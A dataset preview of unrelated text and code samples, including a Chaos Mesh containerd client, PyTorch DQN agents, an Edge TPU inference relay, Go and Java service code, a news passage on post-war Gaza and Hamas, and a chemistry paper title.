content
stringlengths 10
4.9M
|
---|
// Copyright 2021 Chaos Mesh Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
package containerd
import (
"context"
"fmt"
"syscall"
"github.com/containerd/containerd"
"github.com/pkg/errors"
"github.com/chaos-mesh/chaos-mesh/pkg/mock"
)
const (
containerdProtocolPrefix = "containerd://"
// containerKindLabel is a label key intending to filter sandbox container
// ref: https://github.com/containerd/containerd/blob/main/pkg/cri/server/helpers.go#L74-L80
containerKindLabel = "io.cri-containerd.kind"
containerKindContainer = "container"
)
// ContainerdClientInterface represents the ContainerClient, it's used to simply unit test
type ContainerdClientInterface interface {
LoadContainer(ctx context.Context, id string) (containerd.Container, error)
Containers(ctx context.Context, filters ...string) ([]containerd.Container, error)
}
// ContainerdClient can get information from containerd
type ContainerdClient struct {
client ContainerdClientInterface
}
// FormatContainerID strips protocol prefix from the container ID
func (c ContainerdClient) FormatContainerID(ctx context.Context, containerID string) (string, error) {
if len(containerID) < len(containerdProtocolPrefix) {
return "", errors.Errorf("container id %s is not a containerd container id", containerID)
}
if containerID[0:len(containerdProtocolPrefix)] != containerdProtocolPrefix {
return "", errors.Errorf("expected %s but got %s", containerdProtocolPrefix, containerID[0:len(containerdProtocolPrefix)])
}
return containerID[len(containerdProtocolPrefix):], nil
}
// GetPidFromContainerID fetches PID according to container id
func (c ContainerdClient) GetPidFromContainerID(ctx context.Context, containerID string) (uint32, error) {
id, err := c.FormatContainerID(ctx, containerID)
if err != nil {
return 0, err
}
container, err := c.client.LoadContainer(ctx, id)
if err != nil {
return 0, err
}
task, err := container.Task(ctx, nil)
if err != nil {
return 0, err
}
return task.Pid(), nil
}
// ContainerKillByContainerID kills container according to container id
func (c ContainerdClient) ContainerKillByContainerID(ctx context.Context, containerID string) error {
containerID, err := c.FormatContainerID(ctx, containerID)
if err != nil {
return err
}
container, err := c.client.LoadContainer(ctx, containerID)
if err != nil {
return err
}
task, err := container.Task(ctx, nil)
if err != nil {
return err
}
err = task.Kill(ctx, syscall.SIGKILL)
return err
}
// ListContainerIDs lists all container IDs
func (c ContainerdClient) ListContainerIDs(ctx context.Context) ([]string, error) {
// filter sandbox containers
// ref: https://github.com/containerd/containerd/blob/main/pkg/cri/server/helpers.go#L281-L285
filter := fmt.Sprintf("labels.%q==%q", containerKindLabel, containerKindContainer)
containers, err := c.client.Containers(ctx, filter)
if err != nil {
return nil, err
}
var ids []string
for _, container := range containers {
id := fmt.Sprintf("%s%s", containerdProtocolPrefix, container.ID())
ids = append(ids, id)
}
return ids, nil
}
// GetLabelsFromContainerID returns the labels according to container ID
func (c ContainerdClient) GetLabelsFromContainerID(ctx context.Context, containerID string) (map[string]string, error) {
id, err := c.FormatContainerID(ctx, containerID)
if err != nil {
return nil, err
}
container, err := c.client.LoadContainer(ctx, id)
if err != nil {
return nil, err
}
labels, err := container.Labels(ctx)
if err != nil {
return nil, err
}
return labels, nil
}
func New(address string, opts ...containerd.ClientOpt) (*ContainerdClient, error) {
// Mock point to return error in unit test
if err := mock.On("NewContainerdClientError"); err != nil {
return nil, err.(error)
}
if client := mock.On("MockContainerdClient"); client != nil {
return &ContainerdClient{
client.(ContainerdClientInterface),
}, nil
}
c, err := containerd.New(address, opts...)
if err != nil {
return nil, err
}
// The real logic
return &ContainerdClient{
client: c,
}, nil
}
// WithDefaultNamespace is an alias for the function in containerd with the same name
var WithDefaultNamespace = containerd.WithDefaultNamespace
|
//HARDCODED INFORMATION, Handle with care
public class SelectionSortInfo {
/*0*/ public static final String SS = "Selection Sort";
/*11*/ public static final String VAL = "I";
/*11*/ public static final String SWAP = "Swap";
/*11*/ public static final String L_LESSER_R = "Left <= Right";
/*13*/ public static final String L_GREATEREQUAL_R = "Left > Right";
public static final HashMap<String, Integer[]> map = new HashMap<>();
static {
map.put(SS, new Integer[]{0});
map.put(VAL, new Integer[]{3, 4});
map.put(SWAP, new Integer[]{12, 13});
map.put(L_LESSER_R, new Integer[]{7, 8});
map.put(L_GREATEREQUAL_R, new Integer[]{9, 10});
}
public static final int[] boldIndexes = new int[]{0};
public static final String[] psuedocode = new String[]{
/*0*/ "selectionSort(data):",
/*1*/ " length = data.length",
/*2*/ "",
/*3*/ " for(i = 0 to length-1)",
/*4*/ " min_ind = i",
/*5*/ "",
/*6*/ " for(j = i+1 to length)",
/*7*/ " if(data[j] < data[min_ind])",
/*8*/ " min_ind = j",
/*9*/ " else",
/*10*/ " continue",
/*11*/ "",
/*12*/ " if(min_ind != i)",
/*13*/ " swap data[i] and data[min_ind]",
/*14*/ "",
};
public static String getComparedString(int a, int b, int index){
if(a < b){
return a + " < " + b + ", min_ind = " + index;
}
return a + " >= " + b + ", continue";
}
public static String getSelectionSortString(){
return "selectionSort(data)";
}
public static String getValString(int index){
return "min_ind = " + index;
}
public static String getSwapString(int i, int min_index){
return "swap data[" + i + "] and data[" + min_index + "]";
}
} |
import numpy as np
import random
from collections import namedtuple, deque
from src.model import QNetwork, DuelQNetwork
import abc
import torch
import torch.nn.functional as F
import torch.optim as optim
#BUFFER_SIZE = int(1e5) # replay buffer size
#BATCH_SIZE = 64 # minibatch size
#GAMMA = 0.99 # discount factor
#TAU = 1e-3 # for soft update of target parameters
#LR = 5e-4 # learning rate
#UPDATE_EVERY = 4 # how often to update the network
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
class AgentAbstract(object):
"""Interacts with and learns from the environment."""
def __init__(self, state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed):
"""Initialize a Deep Q-Learning Agent object.
Params
======
state_size (int): dimension of each state
action_size (int): dimension of each action
gamma (float): discount factor
hidden_layers (list of int):
drop_p (float): Dropout layer p parameter. https://pytorch.org/docs/stable/generated/torch.nn.Dropout.html
batch_size (int): Number of examples on each batch
learning_rate (float): Optimizer parameter. https://pytorch.org/docs/stable/optim.html
soft_upd_param (float): interpolation parameter in target network weight update
update_every (float): Number of time steps (batches) between each target network weight update
buffer_size (int): maximum size of Memory Replay buffer
seed (int): random seed
"""
# Environment and General Params
self.state_size = state_size
self.action_size = action_size
self.gamma = gamma
self.seed = seed
random.seed(seed)
# Hparams
self.hidden_layers = hidden_layers
self.drop_p = drop_p
self.learning_rate = learning_rate
self.soft_upd_param = soft_upd_param
self.update_every = update_every
self.batch_size = batch_size
# Experience Replay
self.buffer_size = buffer_size
# Initialize time step (for updating every UPDATE_EVERY steps)
self.t_step = 0
def step(self, state, action, reward, next_state, done):
# Save experience in replay memory
self.memory.add(state, action, reward, next_state, done)
self.t_step += 1
# If enough samples are available in memory, get a batch of experiences and learn
if len(self.memory) > self.batch_size:
experiences = self.memory.sample()
self.learn(experiences)
def act(self, state, eps=0.):
"""Returns actions for given state as per current (epsilon-greedy) policy
Params
======
state (array_like): current state
eps (float): epsilon, for epsilon-greedy action selection
Returns
======
(int) epsilon greedy action
"""
state = torch.from_numpy(state).float().unsqueeze(0).to(device)
self.qnetwork_local.eval()
with torch.no_grad():
action_values = self.qnetwork_local(state)
self.qnetwork_local.train()
# Epsilon-greedy action selection
if random.random() > eps:
return np.argmax(action_values.cpu().data.numpy()).astype(np.int32)
else:
return random.choice(np.arange(self.action_size)).astype(np.int32)
@abc.abstractmethod
def _forward_local(self, states, actions):
"""
Compute a local (online) forward pass. Input current state S and select Q(s,a)
Params
======
states (torch.tensor(), batch_size x state_size)
actions (torch.tensor(), batch_size x 1)
"""
raise NotImplementedError
@abc.abstractmethod
def _forward_targets(self, rewards, next_states, dones):
"""
Compute a target (offline) forward pass. Input next state S' and R to compute TD-Target
Params
======
rewards (torch.tensor(), batch_size x 1)
next_states (torch.tensor(), batch_size x 1)
dones (torch.tensor(), batch_size x 1)
"""
raise NotImplementedError
def learn(self, experiences):
"""Update value parameters using given batch of experience tuples.
Params
======
experiences (Tuple[torch.Variable]): tuple of (s, a, r, s', done) tuples
gamma (float): discount factor
"""
states, actions, rewards, next_states, dones = experiences
# states and next_states (batch_size x num_states)
# actions and rewards (batch_size x 1)
# Forward pass
ps_local = self._forward_local(states, actions)
ps_target = self._forward_targets(rewards, next_states, dones)
# Compute loss
loss = F.mse_loss(ps_local, ps_target)
# Backprop
self.optimizer.zero_grad()
loss.backward()
self.optimizer.step()
# ------------------- update target network ------------------- #
if (self.t_step % self.update_every) == 0:
self._soft_update(self.qnetwork_local, self.qnetwork_target, self.soft_upd_param)
def _soft_update(self, local_model, target_model, soft_upd_param):
"""Soft update model parameters.
θ_target = τ*θ_local + (1 - τ)*θ_target
Params
======
local_model (PyTorch model): weights will be copied from
target_model (PyTorch model): weights will be copied to
soft_upd_param (float): interpolation parameter
"""
for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):
target_param.data.copy_(soft_upd_param*local_param.data + (1.0-soft_upd_param)*target_param.data)
def save_network(self, filename):
torch.save(self.qnetwork_local.state_dict(), filename)
def load_network(self, filename):
if torch.cuda.is_available():
map_location = lambda storage, loc: storage.cuda()
else:
map_location = 'cpu'
checkpoint = torch.load(filename, map_location=map_location)
self.qnetwork_local.load_state_dict(checkpoint)
class AgentDQ(AgentAbstract):
"""
Implement Deep Q-Net with Fixed TD-Target computation and Experience Replay
Fixed TD-Target: TD-Error computed on a target (offline) and local (online) network,
where local network weights are copied to target network every `update_every` batches
"""
def __init__(self, state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed):
super(AgentDQ, self).__init__(
state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed)
# Q-Network Architecture
self.qnetwork_local = QNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.qnetwork_target = QNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.optimizer = optim.Adam(self.qnetwork_local.parameters(), lr=self.learning_rate)
# Experience Replay
self.memory = ReplayBuffer(action_size, buffer_size, batch_size, seed)
def _forward_local(self, states, actions):
"""
Returns
======
ps_local (torch.tensor)
"""
ps_local = self.qnetwork_local.forward(states).gather(1, actions)
return ps_local
def _forward_targets(self, rewards, next_states, dones):
"""
Use Fixed TD-Target Algorithm
Returns
======
ps_target (torch.tensor)
"""
# Fixed Q-Targets
# use target network compute r + g*max(q_est[s',a, w-]), this tensor should be detached in backprop
ps_target = rewards + self.gamma * (1 - dones) * self.qnetwork_target.forward(next_states).detach().\
max(dim=1)[0].view(-1, 1)
return ps_target
class AgentDoubleDQ(AgentAbstract):
"""
Implement Dueling Q-Net with Double QNet (fixed) TD-Target computation and Experience Replay
Double Q-Net: Split action selection and Q evaluation in two steps
"""
def __init__(self, state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed):
super(AgentDoubleDQ, self).__init__(
state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed)
# Q-Network Architecture: Dueling Q-Nets
self.qnetwork_local = QNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.qnetwork_target = QNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.optimizer = optim.Adam(self.qnetwork_local.parameters(), lr=self.learning_rate)
# Experience Replay
self.memory = ReplayBuffer(action_size, buffer_size, batch_size, seed)
def _forward_local(self, states, actions):
"""
Returns
======
ps_local (torch.tensor)
"""
ps_local = self.qnetwork_local.forward(states).gather(1, actions)
return ps_local
def _forward_targets(self, rewards, next_states, dones):
"""
Use Double Q-Net Algorithm
Returns
======
ps_target (torch.tensor)
"""
ps_actions = self.qnetwork_local.forward(next_states).detach().max(dim=1)[1].view(-1, 1)
ps_target = rewards + self.gamma * (1 - dones) * self.qnetwork_target.forward(next_states).detach().\
gather(1, ps_actions)
return ps_target
class AgentDuelDQ(AgentAbstract):
"""
Implement Dueling Q-Net with Double QNet (fixed) TD-Target computation and Experience Replay
Double Q-Net: Split action selection and Q evaluation in two steps
Dueling Q-Net: Split Q estimation on two streams, Value and Advantage estimation where Q = V + A
"""
def __init__(self, state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed):
super(AgentDuelDQ, self).__init__(
state_size, action_size, gamma,
hidden_layers, drop_p,
batch_size, learning_rate, soft_upd_param, update_every, buffer_size, seed)
# Q-Network Architecture: Dueling Q-Nets
self.qnetwork_local = DuelQNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.qnetwork_target = DuelQNetwork(
self.state_size, self.action_size, self.seed, self.hidden_layers, self.drop_p).to(device)
self.optimizer = optim.Adam(self.qnetwork_local.parameters(), lr=self.learning_rate)
# Experience Replay
self.memory = ReplayBuffer(action_size, buffer_size, batch_size, seed)
def _forward_local(self, states, actions):
"""
Returns
======
ps_local (torch.tensor)
"""
ps_local = self.qnetwork_local.forward(states).gather(1, actions)
return ps_local
def _forward_targets(self, rewards, next_states, dones):
"""
Use Double Q-Net Algorithm
Returns
======
ps_target (torch.tensor)
"""
ps_actions = self.qnetwork_local.forward(next_states).detach().max(dim=1)[1].view(-1, 1)
ps_target = rewards + self.gamma * (1 - dones) * self.qnetwork_target.forward(next_states).detach().\
gather(1, ps_actions)
return ps_target
class ReplayBuffer:
"""Fixed-size buffer to store experience tuples."""
def __init__(self, action_size, buffer_size, batch_size, seed, action_dtype='long'):
"""Initialize a ReplayBuffer object.
Params
======
action_size (int): dimension of each action
buffer_size (int): maximum size of buffer
batch_size (int): size of each training batch
seed (int): random seed
"""
self.action_size = action_size
self.memory = deque(maxlen=buffer_size)
self.batch_size = batch_size
self.experience = namedtuple("Experience", field_names=["state", "action", "reward", "next_state", "done"])
self.seed = seed
random.seed(seed)
self.action_dtype = action_dtype
def add(self, state, action, reward, next_state, done):
"""Add a new experience to memory."""
e = self.experience(state, action, reward, next_state, done)
self.memory.append(e)
def sample(self):
"""Randomly sample a batch of experiences from memory."""
experiences = random.sample(self.memory, k=self.batch_size)
states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)
actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None]))
if self.action_dtype == 'long':
actions = actions.long().to(device)
elif self.action_dtype == 'float':
actions = actions.float().to(device)
else:
actions = actions.to(device)
rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)
next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(
device)
dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(
device)
return (states, actions, rewards, next_states, dones)
def __len__(self):
"""Return the current size of internal memory."""
return len(self.memory) |
// NewExperiment creates a new experiment.
func NewExperiment(
sess *session.Session, config Config,
) *experiment.Experiment {
m := &measurer{config: config}
return experiment.New(sess, testName, testVersion, m.measure)
} |
class SpecreduceOperation:
"""
An operation to perform as part of a spectroscopic reduction pipeline.
This class primarily exists to define the basic API for operations:
parameters for the operation are provided at object creation,
and then the operation object is called with the data objects required for
the operation, which then *return* the data objects resulting from the
operation.
"""
def __call__(self):
raise NotImplementedError('__call__ on a SpecreduceOperation needs to '
'be overridden')
@classmethod
def as_function(cls, *args, **kwargs):
"""
Run this operation as a function. Syntactic sugar for e.g.,
``Operation.as_function(arg1, arg2, keyword=value)`` maps to
``Operation(arg2, keyword=value)(arg1)`` (if the ``__call__`` of
``Operation`` has only one argument)
"""
argspec = inspect.getargs(SpecreduceOperation.__call__.__code__)
if argspec.varargs:
raise NotImplementedError('There is not a way to determine the '
'number of inputs of a *args style '
'operation')
ninputs = len(argspec.args) - 1
callargs = args[:ninputs]
noncallargs = args[ninputs:]
op = cls(*noncallargs, **kwargs)
return op(*callargs) |
// Copyright (c) Microsoft Corporation.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
// instantiations of iomanip
#include <iomanip>
_STD_BEGIN
static void __cdecl rsfun(ios_base& iostr, ios_base::fmtflags mask) { // reset specified format flags
iostr.setf(ios_base::_Fmtzero, mask);
}
static void __cdecl sifun(ios_base& iostr, ios_base::fmtflags mask) { // set specified format flags
iostr.setf(ios_base::_Fmtmask, mask);
}
static void __cdecl sbfun(ios_base& iostr, int base) { // set base
iostr.setf(base == 8 ? ios_base::oct
: base == 10 ? ios_base::dec
: base == 16 ? ios_base::hex
: ios_base::_Fmtzero,
ios_base::basefield);
}
static void __cdecl spfun(ios_base& iostr, streamsize prec) { // set precision
iostr.precision(prec);
}
static void __cdecl swfun(ios_base& iostr, streamsize wide) { // set width
iostr.width(wide);
}
_MRTIMP2 _Smanip<ios_base::fmtflags> __cdecl resetiosflags(
ios_base::fmtflags mask) { // manipulator to reset format flags
return _Smanip<ios_base::fmtflags>(&rsfun, mask);
}
_MRTIMP2 _Smanip<ios_base::fmtflags> __cdecl setiosflags(ios_base::fmtflags mask) { // manipulator to set format flags
return _Smanip<ios_base::fmtflags>(&sifun, mask);
}
_MRTIMP2 _Smanip<int> __cdecl setbase(int base) { // manipulator to set base
return _Smanip<int>(&sbfun, base);
}
_MRTIMP2 _Smanip<streamsize> __cdecl setprecision(streamsize prec) { // manipulator to set precision
return _Smanip<streamsize>(&spfun, prec);
}
_MRTIMP2 _Smanip<streamsize> __cdecl setw(streamsize wide) { // manipulator to set width
return _Smanip<streamsize>(&swfun, wide);
}
_STD_END
|
Palestinian brothers Achmed and Hussama Kafana, ages 5 and 7, use the top of an umbrella as a prayer mat in the ruins of the Omar Abed El Aziz Mosque in Beit Hanoun during Friday prayers. The mosque was damaged during the war.
‘A dirty diaper’
One reason for the reluctance to deliver funds is the Islamist militant movement Hamas, which retains control of Gaza and its 1.8 million residents.
In joining a “unity government” last year, Hamas agreed to allow President Mahmoud Abbas and the Palestinian Authority, the moderate government based in the West Bank, to return to Gaza. Hamas won Palestinian elections in 2006, and Abbas’s Fatah party fought a bloody and losing battle against Hamas for control of Gaza in 2007.
In the months since the summer war, Hamas has rid itself of many of the responsibilities of governing, but not its grip on power.
Last month, the group’s military wing ran training camps for 17,000 youths, ages 15 to 21, to learn to shoot Kalashnikov rifles, jump through hoops of fire and perform basic first aid in preparation for the next battle with Israel. The camps were staged even as Hamas municipal employees went unpaid.
Israeli Foreign Minister Avigdor Lieberman predicted last week that another war with Hamas is “inevitable.” Israel and Hamas have fought three wars in six years.
Hamas security forces still exert control on their side of the three trade and travel crossings between Israel, Egypt and the Gaza Strip. Journalists arriving from Israel still must have their papers stamped and their permits approved by Hamas cadres. |
# Inference code in file was adapted from https://gist.github.com/aallan/6778b5a046aef3a76966e335ca186b7f
import argparse
import cv2
from tcp_latency import measure_latency
from edgetpu.detection.engine import DetectionEngine
from relay import Relay
from stopwatch import Stopwatch
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--model', help='Path of the detection model.', required=True, type=str)
parser.add_argument('--ip', "-i", help='File path of the input image.', required=True, type=str)
parser.add_argument('--report_interval', '-r', help="Duration of reporting interval, in seconds", default=10,
type=int)
parser.add_argument('-v', "--verbose", help="Print information about detected objects", action='store_true')
args = parser.parse_args()
relay = Relay(args.ip, args.verbose)
engine = DetectionEngine(args.model)
watch = Stopwatch()
while True:
if args.verbose:
print("ready for next inference")
img = relay.get_image()
if img is None:
break
if args.verbose:
print("Received image ", watch.numread)
watch.start()
initial_h, initial_w, _ = img.shape
if (initial_h, initial_w) != (300, 300):
frame = cv2.resize(img, (300, 300))
else:
frame = img
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
watch.stop(Stopwatch.MODE_PREPROCESS)
watch.start()
ans = engine.detect_with_input_tensor(frame.flatten(), threshold=0.5, top_k=10)
watch.stop(Stopwatch.MODE_INFER)
if args.verbose:
print("Got inference results for frame ", watch.numread, ": ", ans)
watch.start()
# Display result
results = []
for obj in ans:
box = obj.bounding_box.flatten().tolist()
bbox = [0] * 4
bbox[0] = int(box[0] * initial_w)
bbox[1] = int(box[1] * initial_h)
bbox[2] = int(box[2] * initial_w)
bbox[3] = int(box[3] * initial_h)
result = (bbox, obj.label_id + 1, obj.score)
results.append(result)
relay.send_results(results)
watch.stop(Stopwatch.MODE_POSTPROCESS)
if watch.report():
print("TCP Latency to source: ", round(measure_latency(host=args.ip, port=relay.port)[0], 3), "ms")
relay.close()
if __name__ == '__main__':
main()
|
<reponame>applinh-getcouragenow/sys<filename>sys-account/service/go/pkg/repo/project_repo.go
package repo
import (
"context"
"fmt"
sharedConfig "github.com/getcouragenow/sys-share/sys-core/service/config"
"github.com/getcouragenow/sys/sys-account/service/go/pkg/dao"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"google.golang.org/protobuf/types/known/emptypb"
"github.com/getcouragenow/sys-share/sys-account/service/go/pkg"
sharedAuth "github.com/getcouragenow/sys-share/sys-account/service/go/pkg/shared"
coresvc "github.com/getcouragenow/sys/sys-core/service/go/pkg/coredb"
)
func (ad *SysAccountRepo) projectFetchOrg(req *dao.Project) (*pkg.Project, error) {
org, err := ad.store.GetOrg(&coresvc.QueryParams{Params: map[string]interface{}{"id": req.OrgId}})
if err != nil {
return nil, err
}
orgLogo, err := ad.frepo.DownloadFile("", org.LogoResourceId)
if err != nil {
return nil, err
}
pkgOrg, err := org.ToPkgOrg(nil, orgLogo.Binary)
if err != nil {
return nil, err
}
projectLogo, err := ad.frepo.DownloadFile("", req.LogoResourceId)
if err != nil {
return nil, err
}
return req.ToPkgProject(pkgOrg, projectLogo.Binary)
}
func (ad *SysAccountRepo) NewProject(ctx context.Context, in *pkg.ProjectRequest) (*pkg.Project, error) {
if in == nil {
return nil, status.Errorf(codes.InvalidArgument, "cannot insert project: %v", sharedAuth.Error{Reason: sharedAuth.ErrInvalidParameters})
}
params := map[string]interface{}{}
if in.OrgId != "" {
params["id"] = in.OrgId
}
if in.OrgName != "" {
params["name"] = in.OrgName
}
// check org existence
o, err := ad.store.GetOrg(&coresvc.QueryParams{Params: params})
if err != nil {
return nil, err
}
var logoBytes []byte
if in.LogoUploadBytes != "" {
logoBytes, err = sharedConfig.DecodeB64(in.LogoUploadBytes)
}
logo, err := ad.frepo.UploadFile(in.LogoFilepath, logoBytes)
if err != nil {
return nil, err
}
// this is the key
in.LogoFilepath = logo.ResourceId
in.OrgId = o.Id
req, err := ad.store.FromPkgProject(in)
if err != nil {
return nil, err
}
if err = ad.store.InsertProject(req); err != nil {
return nil, err
}
proj, err := ad.store.GetProject(&coresvc.QueryParams{Params: map[string]interface{}{"id": req.Id}})
if err != nil {
return nil, err
}
return ad.projectFetchOrg(proj)
}
func (ad *SysAccountRepo) GetProject(ctx context.Context, in *pkg.IdRequest) (*pkg.Project, error) {
if in == nil {
return nil, status.Errorf(codes.InvalidArgument, "cannot get project: %v", sharedAuth.Error{Reason: sharedAuth.ErrInvalidParameters})
}
params := map[string]interface{}{}
if in.Id != "" {
params["id"] = in.Id
}
if in.Name != "" {
params["name"] = in.Name
}
proj, err := ad.store.GetProject(&coresvc.QueryParams{Params: params})
if err != nil {
return nil, err
}
return ad.projectFetchOrg(proj)
}
func (ad *SysAccountRepo) ListProject(ctx context.Context, in *pkg.ListRequest) (*pkg.ListResponse, error) {
if in == nil {
return nil, status.Errorf(codes.InvalidArgument, "cannot list project: %v", sharedAuth.Error{Reason: sharedAuth.ErrInvalidParameters})
}
var limit, cursor int64
limit = in.PerPageEntries
orderBy := in.OrderBy
var err error
filter := &coresvc.QueryParams{Params: in.Filters}
if in.IsDescending {
orderBy += " DESC"
} else {
orderBy += " ASC"
}
cursor, err = ad.getCursor(in.CurrentPageId)
if err != nil {
return nil, err
}
if limit == 0 {
limit = dao.DefaultLimit
}
projects, next, err := ad.store.ListProject(filter, orderBy, limit, cursor, in.Matcher)
var pkgProjects []*pkg.Project
for _, p := range projects {
pkgProject, err := ad.projectFetchOrg(p)
if err != nil {
return nil, err
}
pkgProjects = append(pkgProjects, pkgProject)
}
return &pkg.ListResponse{
Projects: pkgProjects,
NextPageId: fmt.Sprintf("%d", next),
}, nil
}
func (ad *SysAccountRepo) UpdateProject(ctx context.Context, in *pkg.ProjectUpdateRequest) (*pkg.Project, error) {
if in == nil {
return nil, status.Errorf(codes.InvalidArgument, "cannot list project: %v", sharedAuth.Error{Reason: sharedAuth.ErrInvalidParameters})
}
proj, err := ad.store.GetProject(&coresvc.QueryParams{Params: map[string]interface{}{"id": in.Id}})
if err != nil {
return nil, err
}
if in.Name != "" {
proj.Name = in.Name
}
if in.LogoFilepath != "" && len(in.LogoUploadBytes) != 0 {
updatedLogo, err := ad.frepo.UploadFile(in.LogoFilepath, in.LogoUploadBytes)
if err != nil {
return nil, err
}
proj.LogoResourceId = updatedLogo.ResourceId
}
err = ad.store.UpdateProject(proj)
if err != nil {
return nil, err
}
proj, err = ad.store.GetProject(&coresvc.QueryParams{Params: map[string]interface{}{"id": proj.Id}})
if err != nil {
return nil, err
}
return ad.projectFetchOrg(proj)
}
func (ad *SysAccountRepo) DeleteProject(ctx context.Context, in *pkg.IdRequest) (*emptypb.Empty, error) {
if in == nil {
return nil, status.Errorf(codes.InvalidArgument, "cannot list project: %v", sharedAuth.Error{Reason: sharedAuth.ErrInvalidParameters})
}
err := ad.store.DeleteProject(in.Id)
if err != nil {
return nil, err
}
return &emptypb.Empty{}, nil
}
|
#include <cmath>
#include "Vec3D.h"
int Vec3D::getLength()
{
return std::sqrt((x*x + y*y + z*z));
} |
/**
* Encode a LinkType OSPF Sub TLV
*/
public void encode() {
this.setTLVValueLength(1);
this.tlv_bytes=new byte[this.getTotalTLVLength()];
this.tlv_bytes[4]=(byte)(linkType & 0xFF);
} |
<reponame>st-user/ojm-drone-local
import { CommonEventDispatcher } from 'client-js-lib';
import { CustomEventNames } from './CustomEventNames';
enum Tab {
Setup,
Run
}
export default class TabModel {
private selectedTab: Tab
constructor() {
this.selectedTab = Tab.Setup;
}
isSetupSelected(): boolean {
return this.selectedTab == Tab.Setup;
}
isRunSelected(): boolean {
return this.selectedTab == Tab.Run;
}
setup(): void {
this.select(Tab.Setup);
}
run(): void {
this.select(Tab.Run);
}
private select(tab: Tab) {
this.selectedTab = tab;
CommonEventDispatcher.dispatch(CustomEventNames.OJM_DRONE_LOCAL__TAB_CLICKED);
}
} |
def cast_value_logic(self, value: str) -> Any:
if self.custom_cast_dict is not None:
for rule, func in self.custom_cast_dict.items():
if value.startswith(f'{rule}(') and value.endswith(')'):
try:
casted_value = func(value.replace(f'{rule}(', '')[:-1])
except Exception as err:
raise CustomCasterFail(f'Fail to cast {value} with caster {rule}') from err
return casted_value
for regex, cast in self.regex_dict.items():
if isinstance(regex, re.Pattern):
if regex.match(value):
return cast(value)
else:
if regex == value.lower():
return cast(value)
return value |
/**
* Used as simple chache for Task Objects.
*/
public class TaskPOs
{
/**
* Instance of this task.
*/
private Instance instance;
/**
* Level of this Task.
*/
private final int level;
/**
* Parent for this task.
*/
private Instance parentInst = null;
/**
* Mapping of attributes to values.
*/
private final Map<String, Object> attr2value = new HashMap<String, Object>();
/**
* The parent task.
*/
private TaskPOs parent;
/**
* Children of this Task.
*/
private final List<Task_Base.TaskPOs> children = new ArrayList<Task_Base.TaskPOs>();
/**
* @param _instance Instance
* @param _level Level
*/
public TaskPOs(final Instance _instance,
final int _level)
{
this.instance = _instance;
this.level = _level;
}
/**
* @param _taskPOs task to set as parent
*/
protected void setParent(final TaskPOs _taskPOs)
{
this.parent = _taskPOs;
_taskPOs.addChild(this);
}
/**
* @param _taskPOs task to add to the children
*/
protected void addChild(final TaskPOs _taskPOs)
{
this.children.add(_taskPOs);
Collections.sort(this.children, new Comparator<TaskPOs>()
{
@Override
public int compare(final TaskPOs _arg0,
final TaskPOs _arg1)
{
return ((Integer) _arg0.getAttrValue(CIProjects.TaskAbstract.Order.name)).compareTo((Integer) _arg1
.getAttrValue(CIProjects.TaskAbstract.Order.name));
}
});
}
/**
* Getter method for the instance variable {@link #children}.
*
* @return value of instance variable {@link #children}
*/
protected List<Task_Base.TaskPOs> getChildren()
{
return this.children;
}
/**
* @param _instance parent instance
*/
protected void setParentInstance(final Instance _instance)
{
if (_instance.isValid()) {
this.parentInst = _instance;
}
}
/**
* @param _attrName Name of the attribute
* @param _value value for the attribute
*/
protected void addAttribute(final String _attrName,
final Object _value)
{
this.attr2value.put(_attrName, _value);
}
/**
* @param <T> type to cast to
* @param _attrName name of the attribute
* @return value casted to <T>
*/
@SuppressWarnings("unchecked")
protected <T> T getAttrValue(final String _attrName)
{
return (T) this.attr2value.get(_attrName);
}
/**
* @return true if Task has parent
*/
protected boolean isChild()
{
return this.parentInst != null;
}
/**
* Getter method for the instance variable {@link #parent}.
*
* @return value of instance variable {@link #parent}
*/
protected TaskPOs getParent()
{
return this.parent;
}
/**
* Getter method for the instance variable {@link #parent}.
*
* @return value of instance variable {@link #parent}
*/
protected Instance getParentInstance()
{
return this.parentInst;
}
/**
* Getter method for the instance variable {@link #level}.
*
* @return value of instance variable {@link #level}
*/
protected int getLevel()
{
return this.level;
}
/**
* Getter method for the instance variable {@link #instance}.
*
* @return value of instance variable {@link #instance}
*/
protected Instance getInstance()
{
return this.instance;
}
/**
* Setter method for instance variable {@link #instance}.
*
* @param _instance value for instance variable {@link #instance}
*/
protected void setInstance(final Instance _instance)
{
this.instance = _instance;
}
} |
Determination of the analgesic components of Spasmomigraine tablet by liquid chromatography with ultraviolet detection.
